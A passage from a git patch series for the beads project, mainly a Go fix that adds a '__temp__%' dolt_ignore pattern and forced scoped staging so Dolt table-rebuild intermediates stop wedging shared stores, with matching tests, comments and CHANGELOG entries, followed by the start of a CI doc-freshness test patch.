#4356 exists to clear, silently. Add commitScopedIgnoredTableChange, a forced-staging variant of commitScopedTableChange used only by that caller, so the other caller (commitNonlocalRepair) keeps the unforced default that stops an ignored table riding into a repair-labeled commit. '-f' widens which names may be staged, never how many, and dropIgnoredCursorScratch already unstages first, so the commit stays scoped to the one table. Re-arm the coverage the pattern disarmed. TestIgnoredCursorHealResume- RespectsOperatorOverride manufactured the tracked scratch with DOLT_COMMIT('-Am'), whose ignore filter is hardcoded on (there is no '-f' form of the blanket commit), and its fixture opens a real store whose MigrateUp now seeds "__temp__%" -- so the scratch stopped reaching HEAD, the tracked branch stopped being entered, and the arm passed on its weaker "gone from the working set" assertion. It now force-stages the scratch itself, asserts that precondition, and asserts positively that the sweep commit lands (the table leaves HEAD) with a clean working set. Mutation-proved in four arms: reverting the production '-f' reds both the embedded arm ("still committed at HEAD; the sweep staged nothing and --skip-empty committed nothing") and the sqlmock pin; reverting only the fixture re-arming leaves the suite green, and reverting both -- the state as submitted -- is green too, which is the defect making its own test pass. Correct three statements the pattern falsified: the constant's "the name is deliberately not matched by any dolt_ignore pattern", the dropIgnoredCursorScratch contract, and the sqlmock test's restatement of it. The remaining tracked-at-HEAD windows are a lineage repaired before the pattern shipped, an older binary, or replication from such a peer. Reword the doltIgnorePatterns justification comment, which asserted the exact predicate versionGatedDoltIgnorePatterns uses ("__temp__ names never exist on the versioned plane") and is not literally true. The censused invariant that does hold is weaker: no __temp__ table's committed lineage is ever read back, because every creator disposes of its own intermediate within the pass that made it. Note this corrects the reviewers' proposed wording, which enumerated only the SQL creators and so omitted the Go-side untrack scratch -- it neither renames onto an ignored final nor drops inside a migration, but is swept by the forced commit above. Scope that comment's conclusion as well: "so the pattern is safe unconditionally" overclaimed. The pattern needs no version gate, but it prevents residue rather than repairing it. Where an older binary already committed some other __temp__X at HEAD, the pattern keeps that table's drop or rename delta out of every ignore-filtered staging candidate set -- dirtyTables(excludeIgnored=true) matches on the name alone, and existingCommittableTables only lists tables that still exist -- so no migration commit stages it, and dolt's WorkingSetContainsOnlyIgnoredTables rejects any non-add delta before it consults a pattern, so dolt pull fails with ErrUncommittedChanges until the store is repaired by hand. Repairing that residue is left to a follow-up; the comment now says so instead of calling the pattern harmless. Add migrate_temp_intermediates_test.go to the embeddeddolt go_test srcs (gazelle; the list is exhaustive and gazelle-owned, and main's advisory bazel.yml diffs it), so the PR's only engine-level pin actually runs under Bazel. Co-Authored-By: Claude Opus 5 Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: a3ackerman <28374790+A3Ackerman@users.noreply.github.com> Co-authored-by: Claude Fable 5 Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 24 ++++ internal/storage/embeddeddolt/BUILD.bazel | 1 + .../migrate_ignored_cursor_untrack_test.go | 29 ++++- .../migrate_temp_intermediates_test.go | 104 ++++++++++++++++++ .../storage/schema/dolt_ignore_seed_test.go | 18 +++ .../storage/schema/ignored_cursor_untrack.go | 26 +++-- .../schema/ignored_cursor_untrack_test.go | 20 ++-- internal/storage/schema/lock_test.go | 4 +- internal/storage/schema/migration_repairs.go | 33 +++++- internal/storage/schema/schema.go | 40 ++++++- internal/storage/schema/schema_test.go | 2 +- 11 files changed, 279 insertions(+), 22 deletions(-) create mode 100644 internal/storage/embeddeddolt/migrate_temp_intermediates_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 4b2ec795a..8234c58a9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -283,6 +283,30 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 resolves, and abbreviation matching is otherwise unchanged. The empty string already failed; it now says why. +- **Table-rebuild `__temp__` intermediates can no longer materialize as + tracked tables on `@@dolt_transaction_commit=1` servers.** The + ignored-series rebuilds stage every clone-local table through a + `__temp__
` rename, but the intermediate names carried no + `dolt_ignore` pattern: against a transaction-commit server each + `CREATE TABLE __temp__X` auto-committed a real table at HEAD, and the + rename onto the ignored final name left an unstageable `__temp__X -> X` + half in `dolt_status` that wedged every later open behind the dirty-table + guard (observed in the field as a three-city shared hub wedging twice in + one day, each time ending in fleet-wide write refusal and a manual SQL + repair). `__temp__%` now ships in the canonical seeded pattern set — + asserted, like the events-journal patterns, before the series that creates + the tables — so intermediates are born ignored. The scoped seed commit also + gains `--skip-empty`: under `@@dolt_transaction_commit=1` the server has + already committed the seeded rows at their own transaction boundaries, and + the previously unconditional `DOLT_COMMIT` died with "nothing to commit", + killing the pass on exactly the under-seeded stores the heal targets. + Fenced deployments: adding a canonical pattern un-converges `dolt_ignore` for + every existing database, so the next write-mode open issues one + `INSERT IGNORE INTO dolt_ignore`; a hosted or box-fenced wire client that is + denied that INSERT fails its open until one privileged `bd` opens the store + and heals the pattern — self-healing, one privileged open per upgrade + (degrading a denied seed to a skip is tracked separately). + - **`bd ready --parent` and `bd blocked --parent` no longer re-scan the whole parent-child edge relation for every descendant they find.** The transitive descendant walk recursed against a materialized `parent_edges` CTE that Dolt diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index c17416495..1adcaccf5 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -177,6 +177,7 @@ go_test( "migrate_journal_shape_repair_test.go", "migrate_repair_atomicity_test.go", "migrate_selfheal_test.go", + "migrate_temp_intermediates_test.go", "migrate_wisp_dep_forward_repair_test.go", "new_methods_test.go", "open_test.go", diff --git a/internal/storage/embeddeddolt/migrate_ignored_cursor_untrack_test.go b/internal/storage/embeddeddolt/migrate_ignored_cursor_untrack_test.go index 5a8e19f78..f309b8aaf 100644 --- a/internal/storage/embeddeddolt/migrate_ignored_cursor_untrack_test.go +++ b/internal/storage/embeddeddolt/migrate_ignored_cursor_untrack_test.go @@ -590,7 +590,7 @@ func TestIgnoredCursorHealNeverResurrectsRolledBackVersions(t *testing.T) { rolledBack, appliedAt) } if tablePresent(t, ctx, conn, untrackScratchTable) { - t.Errorf("%s survived; it is not dolt_ignore'd, so the next pull's auto-commit would replicate it fleet-wide", untrackScratchTable) + t.Errorf("%s survived; it is dolt_ignore'd under __temp__%%, so a straggler sits in the working set invisibly to dolt_status until something commits it", untrackScratchTable) } if dirty := dirtyTableNames(t, ctx, conn); len(dirty) > 0 { t.Errorf("working set is dirty after the reconcile: %v", dirty) @@ -602,6 +602,15 @@ func TestIgnoredCursorHealNeverResurrectsRolledBackVersions(t *testing.T) { // open crashed: someone who resolved a crashed repair by deliberately // versioning the cursor table must not have stale rows pushed back into it. // The scratch is still cleaned up — it is bd's own junk either way. +// +// This is also the file's only arm that puts the scratch table at HEAD, so it +// is the only one that reaches the sweep's forced-staging branch. The fixture +// has to force its own staging to get there: the '-Am' below used to sweep the +// scratch in, but "__temp__%" is seeded by the fixture's real MigrateUp, and a +// blanket commit's ignore filter is hardcoded on (no '-f' form of '-Am' +// exists). Without the explicit forced add the scratch would never reach HEAD, +// the branch would go unexercised, and the weaker "it is gone from the working +// set" assertion below would pass on the local DROP alone. func TestIgnoredCursorHealResumeRespectsOperatorOverride(t *testing.T) { ctx := t.Context() f := newLegacyTrackedFixture(t, "resumeoverride") @@ -609,7 +618,14 @@ func TestIgnoredCursorHealResumeRespectsOperatorOverride(t *testing.T) { f.withRawConn(t, func(conn *sql.Conn) { untrackCursorInPlace(t, ctx, conn) mustExecOn(t, ctx, conn, "REPLACE INTO dolt_ignore VALUES ('ignored_schema_migrations', false)") + mustExecOn(t, ctx, conn, "CALL DOLT_ADD('-f', ?)", untrackScratchTable) mustExecOn(t, ctx, conn, "CALL DOLT_COMMIT('-Am', 'operator: version the cursor table on purpose')") + // The precondition the rest of this test rests on. Assert it, or a + // future change to the staging above silently turns everything below + // into a test of the ordinary untracked-scratch path. + if !trackedAtHead(t, ctx, conn, untrackScratchTable) { + t.Fatalf("%s is not committed at HEAD after the operator's blanket commit; the tracked-scratch sweep would not be exercised", untrackScratchTable) + } }) f.reopenAndClose(t) @@ -618,6 +634,17 @@ func TestIgnoredCursorHealResumeRespectsOperatorOverride(t *testing.T) { if tablePresent(t, ctx, conn, untrackScratchTable) { t.Errorf("%s survived an override-suppressed resume; the cleanup is always correct", untrackScratchTable) } + // Positive proof the sweep COMMIT landed, not just the local DROP: + // nothing but a commit can take the table back out of HEAD. An + // unforced stage makes the sweep a silent no-op that --skip-empty + // reports as success, leaving the table at HEAD and a permanent + // delete delta that wedges every later pull. + if trackedAtHead(t, ctx, conn, untrackScratchTable) { + t.Errorf("%s is still committed at HEAD; the sweep staged nothing and --skip-empty committed nothing", untrackScratchTable) + } + if dirty := dirtyTableNames(t, ctx, conn); len(dirty) > 0 { + t.Errorf("working set is dirty after the override-suppressed resume: %v", dirty) + } if got := len(cursorRows(t, ctx, conn)); got != len(f.cursorRows) { t.Errorf("cursor rows = %d, want %d", got, len(f.cursorRows)) } diff --git a/internal/storage/embeddeddolt/migrate_temp_intermediates_test.go b/internal/storage/embeddeddolt/migrate_temp_intermediates_test.go new file mode 100644 index 000000000..395aad4a4 --- /dev/null +++ b/internal/storage/embeddeddolt/migrate_temp_intermediates_test.go @@ -0,0 +1,104 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/schema" +) + +// TestEmbeddedTempRebuildIntermediatesNeverReachHistory pins a shared-hub +// contract: the ignored-series table rebuilds stage their work +// through __temp__
intermediates (ignored/0001, ignored/0002). The +// final names are dolt_ignored clone-local tables, but the intermediates +// carried no ignore pattern, so against a @@dolt_transaction_commit=1 server +// every CREATE __temp__X auto-committed a REAL table at HEAD; the later +// RENAME to an ignored name then left rename halves in dolt_status that no +// working-set shuffle could stage (content-inferred rename classification), +// wedging every older bd behind the dirty-table guard until a manual repair. +// +// The store under test is shaped like the field case: a clone whose +// dolt_ignore was seeded by binaries that predate the __temp__% pattern. The +// fresh-box MigrateUp must assert the pattern itself, in the same pass, +// before the ignored series runs — so no __temp__ intermediate ever lands in +// committed history and the pass ends with a clean working set. +func TestEmbeddedTempRebuildIntermediatesNeverReachHistory(t *testing.T) { + requireEmbedded(t) + ctx := t.Context() + + dir := seedMainSchemaAt(t, ctx, schema.LatestVersion()) + conn, closeConn := openPinnedConn(t, ctx, dir) + defer closeConn() + if _, err := schema.MigrateUp(ctx, conn); err != nil { + t.Fatalf("seed MigrateUp: %v", err) + } + + // Shape the store like a real clone (the Door B dance from + // TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape): committed history + // carries the main tables and the at-latest main cursor; the clone-local + // tables and the ignored cursor are working-set state a clone never + // receives. + for _, table := range []string{ + "wisp_dependencies", "wisp_events", "wisp_comments", "wisp_labels", + "wisp_child_counters", "wisps", "events", "leases", "repo_mtimes", + "local_metadata", "bd_events_journal", "bd_events_seq", + "ignored_schema_migrations", + } { + execFrozenGuard(t, ctx, conn, "DROP TABLE IF EXISTS "+table) + } + execFrozenGuard(t, ctx, conn, + "DELETE FROM dolt_ignore WHERE pattern IN ('leases', 'bd_events_journal', 'bd_events_seq')") + // The field stores were seeded by binaries that predate the __temp__% + // pattern; strip it from the baseline so the pass under test has to + // assert it itself, before the ignored series runs. + execFrozenGuard(t, ctx, conn, "DELETE FROM dolt_ignore WHERE pattern = '__temp__%'") + mustDrain(t, ctx, conn, "CALL DOLT_ADD('-A')") + mustDrain(t, ctx, conn, "CALL DOLT_COMMIT('-m', 'test: clone-shaped baseline', '--skip-empty')") + + // The hub that hit this twice runs @@dolt_transaction_commit=1: every + // transaction commit becomes a dolt commit of every non-ignored delta, + // which is the mechanism that materialized the intermediates. + if _, err := conn.ExecContext(ctx, "SET @@dolt_transaction_commit = 1"); err != nil { + t.Fatalf("enable dolt_transaction_commit: %v", err) + } + + // The fresh-box open. + if _, err := schema.MigrateUp(ctx, conn); err != nil { + t.Fatalf("fresh-box MigrateUp: %v", err) + } + + // No rebuild intermediate may exist in ANY commit. + rows, err := conn.QueryContext(ctx, "SELECT DISTINCT table_name FROM dolt_diff") + if err != nil { + t.Fatalf("read dolt_diff table names: %v", err) + } + defer rows.Close() + var leaked []string + for rows.Next() { + var name string + if err := rows.Scan(&name); err != nil { + t.Fatalf("scan dolt_diff table name: %v", err) + } + if strings.HasPrefix(name, "__temp__") { + leaked = append(leaked, name) + } + } + if err := rows.Err(); err != nil { + t.Fatalf("iterate dolt_diff table names: %v", err) + } + if len(leaked) > 0 { + t.Errorf("rebuild intermediates reached committed history: %v", leaked) + } + + // And the pass must end clean — the incident's other half was the + // permanently-dirty status that wedged older binaries' opens. + dirty, err := statusTables(ctx, conn) + if err != nil { + t.Fatalf("read dolt_status: %v", err) + } + if len(dirty) > 0 { + t.Errorf("working set dirty after the fresh-box pass: %v", dirty) + } +} diff --git a/internal/storage/schema/dolt_ignore_seed_test.go b/internal/storage/schema/dolt_ignore_seed_test.go index 421567caf..b68366982 100644 --- a/internal/storage/schema/dolt_ignore_seed_test.go +++ b/internal/storage/schema/dolt_ignore_seed_test.go @@ -5,6 +5,7 @@ import ( "database/sql/driver" "errors" "regexp" + "slices" "testing" "github.com/DATA-DOG/go-sqlmock" @@ -208,6 +209,23 @@ func TestSeedDoltIgnorePatternsDegradesToBlindWriteOnPartialRead(t *testing.T) { } } +// The ignored-series table rebuilds (ignored/0001, ignored/0002) stage their +// work through __temp__
intermediates before renaming to the final +// dolt_ignored names. Against a @@dolt_transaction_commit=1 server every +// non-ignored CREATE auto-commits, so without this pattern the intermediates +// materialize as real tables at HEAD and the rename halves wedge dolt_status +// (field incident: three-city shared hub, twice in one day, fleet write +// refusal behind the dirty-table guard). The canonical set must cover the +// intermediates so they are born ignored; dolt's own matcher treats the +// underscores literally (patterns support only ? * %), so the entry matches +// exactly the __temp__ prefix. The engine-level contract is pinned by +// TestEmbeddedTempRebuildIntermediatesNeverReachHistory in embeddeddolt. +func TestDoltIgnorePatternsCoverRebuildIntermediates(t *testing.T) { + if !slices.Contains(doltIgnorePatterns, "__temp__%") { + t.Fatal("doltIgnorePatterns is missing \"__temp__%\": ignored-series rebuild intermediates would auto-commit as tracked tables on dolt_transaction_commit=1 servers") + } +} + func upperASCII(s string) string { b := []byte(s) for i, c := range b { diff --git a/internal/storage/schema/ignored_cursor_untrack.go b/internal/storage/schema/ignored_cursor_untrack.go index 4b4d9d725..014d76dde 100644 --- a/internal/storage/schema/ignored_cursor_untrack.go +++ b/internal/storage/schema/ignored_cursor_untrack.go @@ -43,9 +43,11 @@ const ( // ignoredCursorUntrackTempTable holds the cursor rows across the drop. // Dolt persists the working set to disk, so an uncommitted scratch table // survives a crash: whatever phase is interrupted, the next open finds - // the rows and finishes the job. The name is deliberately not matched by - // any dolt_ignore pattern — a straggler must show up in dolt_status - // rather than hide. + // the rows and finishes the job. The name matches the canonical + // "__temp__%" pattern, so a straggler is hidden from dolt_status rather + // than reported: the cleanup cannot lean on that visibility, which is why + // dropIgnoredCursorScratch probes HEAD directly and stages its sweep with + // a forced DOLT_ADD. ignoredCursorUntrackTempTable = "__temp__ignored_schema_migrations_untrack" ignoredCursorUntrackCommitMessage = "schema: untrack legacy ignored_schema_migrations so dolt_ignore can apply (gastownhall/beads#4356)" @@ -464,11 +466,17 @@ func restoreIgnoredCursorRows(ctx context.Context, db DBConn) error { } // dropIgnoredCursorScratch removes the scratch table and cleans up after the -// one window in which it can end up tracked: it carries a perfectly -// committable name, so a concurrent writer's blanket commit can sweep it into -// HEAD during the repair. Dropping it locally would then leave a permanent -// delete delta — the same class of tracked residue this whole fix exists to -// remove — so the deletion is committed, scoped to that table. +// windows in which it can end up tracked at HEAD. "__temp__%" closes the one a +// concurrent writer's blanket commit used to open, but it does not close them +// all and cannot reach backwards: a lineage repaired before the pattern +// shipped, a peer still running an older binary, or replication from one can +// all leave the scratch committed. Dropping it locally would then leave a +// permanent delete delta — the same class of tracked residue this whole fix +// exists to remove — so the deletion is committed, scoped to that table. +// +// That commit must FORCE its staging (commitScopedIgnoredTableChange): the +// scratch's name is ignore-matched now, and unforced staging would drop it +// silently while --skip-empty reported success. func dropIgnoredCursorScratch(ctx context.Context, db DBConn) error { //nolint:gosec // G201: the table name is a constant. if _, err := db.ExecContext(ctx, "DROP TABLE IF EXISTS "+ignoredCursorUntrackTempTable); err != nil { @@ -496,7 +504,7 @@ func dropIgnoredCursorScratch(ctx context.Context, db DBConn) error { if err := unstageBeforeIgnoredCursorUntrack(ctx, db); err != nil { return fmt.Errorf("unstaging before dropping %s: %w", ignoredCursorUntrackTempTable, err) } - return commitScopedTableChange(ctx, db, ignoredCursorUntrackTempTable, ignoredCursorTempSweepCommitMessage) + return commitScopedIgnoredTableChange(ctx, db, ignoredCursorUntrackTempTable, ignoredCursorTempSweepCommitMessage) } // ignoredCursorCopyColumns is the column list to move out of source, which is diff --git a/internal/storage/schema/ignored_cursor_untrack_test.go b/internal/storage/schema/ignored_cursor_untrack_test.go index eb18b744c..c69bdfc62 100644 --- a/internal/storage/schema/ignored_cursor_untrack_test.go +++ b/internal/storage/schema/ignored_cursor_untrack_test.go @@ -184,7 +184,12 @@ func expectIgnoredCursorScratchDrop(mock sqlmock.Sqlmock, sweptIntoHead bool) { return } expectIgnoredCursorUnstage(mock) - mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_ADD(?)")). + // Forced: the scratch's name matches the seeded "__temp__%" pattern, and + // an unforced DOLT_ADD would drop it from the staging list silently — the + // filter classifies by pattern alone and never consults HEAD, so being + // committed at HEAD does not exempt it. --skip-empty would then report + // success having committed nothing. + mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_ADD('-f', ?)")). WithArgs(ignoredCursorUntrackTempTable). WillReturnRows(sqlmock.NewRows([]string{"status"})) mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_COMMIT('-m', ?, '--skip-empty')")). @@ -483,12 +488,13 @@ func TestHealCopiesLegacyShapeWithoutContentHash(t *testing.T) { } } -// The scratch table carries a perfectly committable name, so a concurrent -// writer's blanket commit can sweep it into HEAD during the repair window. -// Dropping it locally would then leave a permanent delete delta — the same -// class of tracked residue this whole fix exists to remove — so the deletion -// is committed, scoped to that table, after the staging area is cleared so -// nothing unrelated rides along under its message. +// The scratch table can be committed at HEAD by any writer that predates the +// "__temp__%" pattern — a lineage repaired before it shipped, an older binary's +// blanket commit, or replication from such a peer. Dropping it locally would +// then leave a permanent delete delta — the same class of tracked residue this +// whole fix exists to remove — so the deletion is committed, scoped to that +// table, after the staging area is cleared so nothing unrelated rides along +// under its message, and FORCED past the pattern that now matches its name. func TestHealCommitsAStrayScratchTableOutOfHead(t *testing.T) { db, mock := newMockDB(t) diff --git a/internal/storage/schema/lock_test.go b/internal/storage/schema/lock_test.go index 305ab8f28..2b0c1841a 100644 --- a/internal/storage/schema/lock_test.go +++ b/internal/storage/schema/lock_test.go @@ -258,7 +258,7 @@ func TestMigrateUpSeedsIgnorePatternsWhenNoWorkNeeded(t *testing.T) { // MigrateUp must commit the heal itself, scoped and labeled. mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_ADD('dolt_ignore')")). WillReturnRows(sqlmock.NewRows([]string{"status"})) - mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_COMMIT('-m', 'schema: seed dolt_ignore patterns')")). + mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_COMMIT('-m', 'schema: seed dolt_ignore patterns', '--skip-empty')")). WillReturnRows(sqlmock.NewRows([]string{"hash"})) applied, err := MigrateUp(context.Background(), db) @@ -386,7 +386,7 @@ func expectOnePendingMigration(t *testing.T, mock sqlmock.Sqlmock) { // seed must not ride the per-step pass commits). mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_ADD('dolt_ignore')")). WillReturnRows(sqlmock.NewRows([]string{"status"})) - mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_COMMIT('-m', 'schema: seed dolt_ignore patterns')")). + mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_COMMIT('-m', 'schema: seed dolt_ignore patterns', '--skip-empty')")). WillReturnRows(sqlmock.NewRows([]string{"hash"})) expectDoltStatusRows(mock) // MigrateUp captures the pre-pass main cursor for the aux re-key watershed diff --git a/internal/storage/schema/migration_repairs.go b/internal/storage/schema/migration_repairs.go index 40b463ba0..b4fe8ce01 100644 --- a/internal/storage/schema/migration_repairs.go +++ b/internal/storage/schema/migration_repairs.go @@ -93,8 +93,39 @@ func commitNonlocalRepair(ctx context.Context, db DBConn, message string) error // // It does NOT clear the staging area; a caller with anything possibly staged // must unstage first (see unstagePreExistingTables). +// +// The unforced DOLT_ADD is the right default — it keeps a clone-local table +// out of a repair-labeled commit — but it is WRONG for a table whose own name +// matches a seeded dolt_ignore pattern; such a caller must use +// commitScopedIgnoredTableChange instead. func commitScopedTableChange(ctx context.Context, db DBConn, table, message string) error { - if err := DrainCall(ctx, db, "CALL DOLT_ADD(?)", table); err != nil { + return stageAndCommitScoped(ctx, db, "CALL DOLT_ADD(?)", table, message) +} + +// commitScopedIgnoredTableChange is commitScopedTableChange for the one caller +// whose table name matches a pattern in doltIgnorePatterns: the #4356 untrack +// scratch, which "__temp__%" covers. +// +// Forcing is not optional there. Unforced staging filters ignore-matched names +// out of the staging list SILENTLY (no error), and the filter classifies purely +// by pattern without ever consulting HEAD — so a table that IS committed at HEAD +// is dropped exactly like a fresh one. --skip-empty then turns the empty staged +// diff into a successful no-op, and the caller's uncommitted delete delta +// survives forever: dolt refuses a pull on any non-add unstaged delta whether or +// not it is ignore-matched, so the store stays wedged while dolt_status hides +// the cause. +// +// Scoping still holds: '-f' widens WHICH names may be staged, never HOW MANY, +// so this stages exactly the one table named. Like its unforced twin it does not +// clear the staging area. +func commitScopedIgnoredTableChange(ctx context.Context, db DBConn, table, message string) error { + return stageAndCommitScoped(ctx, db, "CALL DOLT_ADD('-f', ?)", table, message) +} + +// stageAndCommitScoped is the shared body of the two scoped-commit helpers. +// They differ only in whether stageSQL forces past the dolt_ignore filter. +func stageAndCommitScoped(ctx context.Context, db DBConn, stageSQL, table, message string) error { + if err := DrainCall(ctx, db, stageSQL, table); err != nil { return fmt.Errorf("staging %s: %w", table, err) } return DrainCall(ctx, db, "CALL DOLT_COMMIT('-m', ?, '--skip-empty')", message) diff --git a/internal/storage/schema/schema.go b/internal/storage/schema/schema.go index 2ee213083..b9dae90b6 100644 --- a/internal/storage/schema/schema.go +++ b/internal/storage/schema/schema.go @@ -425,6 +425,37 @@ var ( // pollutes dolt_status and feeds the dirty-table migration gates. MigrateUp // re-asserts the full set idempotently at the top of every write-mode open. var doltIgnorePatterns = []string{ + // Table-rebuild intermediates: the ignored series stages every rebuild + // through a __temp__
that is renamed to the final (ignored) name. + // Unlike the journal tables below, a __temp__ name CAN reach the + // versioned plane — that is the incident this pattern fixes, and + // ignored_cursor_untrack.go's scratch can still be sitting at HEAD on a + // lineage whose repair window a blanket commit caught before this + // shipped. What holds instead is the weaker invariant + // versionGatedDoltIgnorePatterns actually needs: no __temp__ table is + // one whose COMMITTED lineage is ever read back, so suppressing its + // staging can strand no data. Every creator disposes of its own + // intermediate within the pass that made it — by renaming onto an + // already-ignored final name (ignored/0001, 0002, 0012, 0022; main + // 0055, 0064), by dropping it outright (main 0062's __temp__events_flip, + // the one main-plane intermediate that is never renamed), or, for the + // untrack scratch, by a sweep that forces past this very pattern + // (dropIgnoredCursorScratch). A new __temp__ producer owes the same. + // So the pattern needs no version gate, but it prevents residue rather + // than repairing it: where an older binary already committed some other + // __temp__X at HEAD, the pattern keeps that table's drop or rename delta + // out of every ignore-filtered staging candidate set (dirtyTables with + // excludeIgnored, existingCommittableTables), so no migration commit + // stages it, and dolt pull refuses the uncommitted non-add delta until + // the store is repaired by hand. And it must be asserted before the + // ignored series runs: on a + // @@dolt_transaction_commit=1 server an unignored CREATE __temp__X + // auto-commits a real table at HEAD, and the rename to the ignored final + // name then leaves an unstageable "__temp__X -> X" rename half in + // dolt_status that wedges the store for every open behind the + // dirty-table guard. dolt matches ignore patterns with ? * % only — + // underscores are literal — so this covers exactly the __temp__ prefix. + "__temp__%", // The events journal tables (bd-opisf) are seeded here rather than // version-gated: they have never existed on the versioned plane, so // asserting the pattern before 0064 runs is what keeps the CREATE from @@ -587,11 +618,18 @@ func seedDoltIgnorePatterns(ctx context.Context, db DBConn) (bool, error) { // short-circuit nothing downstream would ever commit the seed, and on the // migration path the seed must be committed before the first step so an // interrupted pass leaves a clean working set (#4566 self-heal contract). +// +// --skip-empty because on a @@dolt_transaction_commit=1 server the seed's +// INSERTs were already dolt-committed at their own transaction boundaries, +// so there is nothing left to stage: without it the labeled commit dies with +// "nothing to commit" and takes the whole pass down on exactly the stores an +// under-seeded heal targets. The seed is durable either way; only the commit +// label is lost on that path. func commitSeededDoltIgnore(ctx context.Context, db DBConn) error { if err := DrainCall(ctx, db, "CALL DOLT_ADD('dolt_ignore')"); err != nil { return fmt.Errorf("staging seeded dolt_ignore patterns: %w", err) } - if err := DrainCall(ctx, db, "CALL DOLT_COMMIT('-m', 'schema: seed dolt_ignore patterns')"); err != nil { + if err := DrainCall(ctx, db, "CALL DOLT_COMMIT('-m', 'schema: seed dolt_ignore patterns', '--skip-empty')"); err != nil { return fmt.Errorf("committing seeded dolt_ignore patterns: %w", err) } return nil diff --git a/internal/storage/schema/schema_test.go b/internal/storage/schema/schema_test.go index 081af2a4f..56bcac182 100644 --- a/internal/storage/schema/schema_test.go +++ b/internal/storage/schema/schema_test.go @@ -85,7 +85,7 @@ func TestMigrateUpReturnsDirtyTablesErrorForPreExistingDirtyTable(t *testing.T) // pre-existing tables are unstaged, before the dirty-table guards run. mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_ADD('dolt_ignore')")). WillReturnRows(sqlmock.NewRows([]string{"status"})) - mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_COMMIT('-m', 'schema: seed dolt_ignore patterns')")). + mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_COMMIT('-m', 'schema: seed dolt_ignore patterns', '--skip-empty')")). WillReturnRows(sqlmock.NewRows([]string{"hash"})) // committableDirtyTables -> dirtyTables(ctx, db, true): same dirty state. expectDirtyDoltStatusRow(mock, "dependencies", false) From 9eaa4c1aaa0ec43a58c8f656f84e21535aa4c360 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Thu, 1 Oct 2026 02:05:12 -0600 Subject: [PATCH 008/325] test(ci): make doc-freshness selection fail closed (#5729) * test(ci): make doc-freshness selection fail closed Require the protected doc-freshness workflow to select its exact compiled top-level inventory plus the guard that exercises real zero- and partial-selection refusals. Ordinary focused scripts tests remain unchanged unless required-suite mode is explicit. Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell * test(ci): fail suite self-test on inventory drift (#5726) Fail the contract's compiled-suite subtest when an unregistered or missing member would otherwise silently suppress its TestMain selector falsifiers. Keep the integration-free build usable with an explicit subtest skip and point doc-freshness test authors to the maintained registry. The untagged TestMain fronts the entire scripts_test package, including ordinary tagged and untagged go test ./scripts invocations. Without the required-suite flag it delegates to m.Run; runtime failures and intentional skips remain Go's responsibility. Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * chore(bazel): enumerate required_suite_test.go in the scripts go_test srcs gazelle-generated, scoped to this PR only. The file is untagged so the go_test target owes its enumeration; the in-package census showed the gap was exactly this file with zero pre-existing untagged gaps. Note make bazel-sync also wants internal/storage/dolt/BUILD.bazel for version_staging_completeness_test.go, but that is a BASE-owned gap from the just-merged #6844 and is deliberately left out of this diff. * test(ci): register the 11th doc-freshness test and pin real flag reads Two maintainer review fixes on top of the contributor branch. Blocker: requiredSuiteDefinitions pinned 10 TestDocFreshness* names while 11 are compiled at this head. The 11th, TestDocFreshnessRejectsMultipleLastReviewedMarkers, arrived on the base in 0bf13494f0 (#6482) during the 164-commit merge-base advance, so the contributor's list was correct when written. Left unregistered, the required check-doc-freshness-platforms step this PR itself edits fails on all three OSes (pr.yml:476, required via pr.yml:1378 and :1408), and the same drift independently reds TestRequiredSuiteContract/compiled_suite in every integration-tagged whole-package lane. Registering the name is the whole fix. Major (test evidence): the flag table injects synthetic requiredSuiteFlags literals, so it proved only that the predicates reject narrowing flags, never that real flag values reach them. currentRequiredSuiteFlags is the sole production reader of real test flags and went unexercised, so a wrong lookup key silently reopened the fail-open hole this PR exists to close. skip, cpu, list and short all compare against zero values and so fail open; run and count fail closed. The new "real flag reads" arms hand a child real -test.skip, -test.cpu, -test.list and -test.short alongside a valid -test.run and require the matching diagnostic rather than the generic prefix, because a wrong key reads the zero value and falls through to a different failure that the prefix would accept. Mutating each lookup key in turn reds exactly its own arm and leaves the other three green, tagged and untagged. Those arms are the first to hand a child a valid selection, which necessarily selects this test too, so a child that got past a broken guard re-entered here and spawned without bound (measured: a monotonically growing child count that never terminates). BEADS_TEST_REQUIRED_SUITE_CHILD stops that at depth 1, so the regression surfaces as a failed assertion in seconds instead of a hang. The arms sit outside "compiled suite" because the flag guards run ahead of the inventory check, so they also hold in the untagged fast and bazel lanes where compiled suite self-skips. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5 --- .github/workflows/pr.yml | 2 +- scripts/BUILD.bazel | 1 + scripts/check_doc_freshness_test.go | 1 + scripts/ci_workflow_test.go | 7 +- scripts/required_suite_test.go | 400 ++++++++++++++++++++++++++++ 5 files changed, 408 insertions(+), 3 deletions(-) create mode 100644 scripts/required_suite_test.go diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index b782fba3f..3964f3bd4 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -563,7 +563,7 @@ jobs: restore-keys: beads-go-mod-v2-${{ 